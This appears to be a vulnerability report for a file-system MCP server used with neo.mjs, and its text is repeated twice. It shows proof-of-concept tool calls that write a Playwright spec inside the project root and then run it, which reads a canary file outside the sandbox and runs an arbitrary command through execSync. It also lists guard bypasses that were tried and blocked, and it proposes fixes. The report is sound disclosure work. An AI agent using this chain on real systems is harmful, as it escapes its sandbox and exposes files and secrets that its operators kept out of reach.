The file-system MCP server states a containment guarantee in two places. openapi.yaml describes it as "heavily sandboxed file system manipulation", and the guard throws 403 Forbidden: Path traversal detected. Operation jailed to <root>.
That guarantee does not hold when write_file and run_playwright_test are used together, and neither call violates any guard.
write_file accepts any path inside the project root.
run_playwright_test executes a Playwright spec. A spec is JavaScript, so executing it runs whatever it contains.
Observed on current dev, which contains 5acc564 and #16235.
Observed
Absolute paths are redacted to <root>. The canary is /tmp/OUTSIDE_SECRET.txt, outside the project root, containing SECRET-OUTSIDE-THE-PROJECT-ROOT.
The guard works when approached directly
read_file({absolutePath: "/tmp/OUTSIDE_SECRET.txt"})
-> REJECTED
403 Forbidden: Path traversal detected. Operation jailed to <root>Retrieval in two steps
write_file({
absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs",
content : "import fs from 'fs';
fs.copyFileSync('/tmp/OUTSIDE_SECRET.txt', '<root>/exfil-landed.txt');"
})
-> allowed (the target is inside the root)
run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"})
read_file({absolutePath: "<root>/exfil-landed.txt"})
-> "SECRET-OUTSIDE-THE-PROJECT-ROOT"The third call is an ordinary, fully permitted request, and the guard behaves correctly on it. The content it returns is the content the guard refused in the first case.
Retrieval in one step, through the tool's own return value
write_file({
absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs",
content : "import fs from 'fs';
process.stdout.write('[LEAK] ' + fs.readFileSync('/tmp/OUTSIDE_SECRET.txt','utf-8'));"
})
run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"})
-> "Test Failed:
[LEAK] SECRET-OUTSIDE-THE-PROJECT-ROOT
..."runPlaywrightTest returns the child process's stdout to the caller, so the file contents are handed straight back. No intermediate file is needed.
Arbitrary commands, not only file reads
write_file({
absolutePath: "<root>/test/playwright/uid-canary.spec.mjs",
content : "import {execSync} from 'child_process';
execSync('id -u > /tmp/UID_PROOF');"
})
run_playwright_test({absolutePath: "<root>/test/playwright/uid-canary.spec.mjs"})
/tmp/UID_PROOF -> "1000"Preconditions
- The caller can invoke both
write_file and run_playwright_test. Both are default tools of this server.
@playwright/test is installed. It is a devDependency of neo.mjs, so it is present in a normal development checkout of the project this server is built for. It would not be present if neo.mjs were installed as a dependency of another application.
- The agent is induced to make both calls.
Condition 2 is a genuine constraint. This is not unconditional.
This is separate from #16231
I re-ran the payloads from that ticket against dev. All are blocked. I also tried three bypasses against the new guard, all blocked:
- a filename shaped like a
node flag — the path is always absolute, so it cannot be read as a flag
- a sibling directory whose name prefixes the root (
<root>-evil/) — blocked by the path.relative containment check
- an in-root symlink pointing outside — blocked by the
realpath canonicalization
execFile does what it was written to do. The behaviour described here never touches a shell, so it is not what that change was addressing.
Which direction to fix
This reads as a policy decision rather than a defect with one obvious patch. Three options I can see:
- Keep
write_file out of test/playwright/
- Have
run_playwright_test refuse specs that the tool itself wrote
- Drop the containment wording from
openapi.yaml and the 403 message, and document the tool as executing arbitrary project code
One further observation
runPlaywrightTest limits execution with safePath.includes('test/playwright/'). This is a substring test rather than a containment test, so a directory such as <root>/atest/playwright/ satisfies it. It does not cross the sandbox boundary, since the jail check runs first, and it grants nothing that write_file into the real test directory would not already grant. Noting it for completeness rather than as a separate issue.
One separate note: 5acc564 is on dev but has not appeared in a release. npm latest is still 13.1.0 (2026-07-03), so an install lands on the pre-fix code. Is a release planned?
The file-system MCP server states a containment guarantee in two places.
openapi.yamldescribes it as "heavily sandboxed file system manipulation", and the guard throws403 Forbidden: Path traversal detected. Operation jailed to <root>.That guarantee does not hold when
write_fileandrun_playwright_testare used together, and neither call violates any guard.write_fileaccepts any path inside the project root.run_playwright_testexecutes a Playwright spec. A spec is JavaScript, so executing it runs whatever it contains.Observed on current
dev, which contains5acc564and #16235.Observed
Absolute paths are redacted to
<root>. The canary is/tmp/OUTSIDE_SECRET.txt, outside the project root, containingSECRET-OUTSIDE-THE-PROJECT-ROOT.The guard works when approached directly
read_file({absolutePath: "/tmp/OUTSIDE_SECRET.txt"}) -> REJECTED 403 Forbidden: Path traversal detected. Operation jailed to <root>Retrieval in two steps
write_file({ absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs", content : "import fs from 'fs'; fs.copyFileSync('/tmp/OUTSIDE_SECRET.txt', '<root>/exfil-landed.txt');" }) -> allowed (the target is inside the root) run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"}) read_file({absolutePath: "<root>/exfil-landed.txt"}) -> "SECRET-OUTSIDE-THE-PROJECT-ROOT"The third call is an ordinary, fully permitted request, and the guard behaves correctly on it. The content it returns is the content the guard refused in the first case.
Retrieval in one step, through the tool's own return value
write_file({ absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs", content : "import fs from 'fs'; process.stdout.write('[LEAK] ' + fs.readFileSync('/tmp/OUTSIDE_SECRET.txt','utf-8'));" }) run_playwright_test({absolutePath: "<root>/test/playwright/exfil-canary.spec.mjs"}) -> "Test Failed: [LEAK] SECRET-OUTSIDE-THE-PROJECT-ROOT ..."runPlaywrightTestreturns the child process's stdout to the caller, so the file contents are handed straight back. No intermediate file is needed.Arbitrary commands, not only file reads
write_file({ absolutePath: "<root>/test/playwright/uid-canary.spec.mjs", content : "import {execSync} from 'child_process'; execSync('id -u > /tmp/UID_PROOF');" }) run_playwright_test({absolutePath: "<root>/test/playwright/uid-canary.spec.mjs"}) /tmp/UID_PROOF -> "1000"Preconditions
write_fileandrun_playwright_test. Both are default tools of this server.@playwright/testis installed. It is a devDependency of neo.mjs, so it is present in a normal development checkout of the project this server is built for. It would not be present if neo.mjs were installed as a dependency of another application.Condition 2 is a genuine constraint. This is not unconditional.
This is separate from #16231
I re-ran the payloads from that ticket against
dev. All are blocked. I also tried three bypasses against the new guard, all blocked:nodeflag — the path is always absolute, so it cannot be read as a flag<root>-evil/) — blocked by thepath.relativecontainment checkrealpathcanonicalizationexecFiledoes what it was written to do. The behaviour described here never touches a shell, so it is not what that change was addressing.Which direction to fix
This reads as a policy decision rather than a defect with one obvious patch. Three options I can see:
write_fileout oftest/playwright/run_playwright_testrefuse specs that the tool itself wroteopenapi.yamland the 403 message, and document the tool as executing arbitrary project codeOne further observation
runPlaywrightTestlimits execution withsafePath.includes('test/playwright/'). This is a substring test rather than a containment test, so a directory such as<root>/atest/playwright/satisfies it. It does not cross the sandbox boundary, since the jail check runs first, and it grants nothing thatwrite_fileinto the real test directory would not already grant. Noting it for completeness rather than as a separate issue.One separate note:
5acc564is ondevbut has not appeared in a release. npm latest is still 13.1.0 (2026-07-03), so an install lands on the pre-fix code. Is a release planned?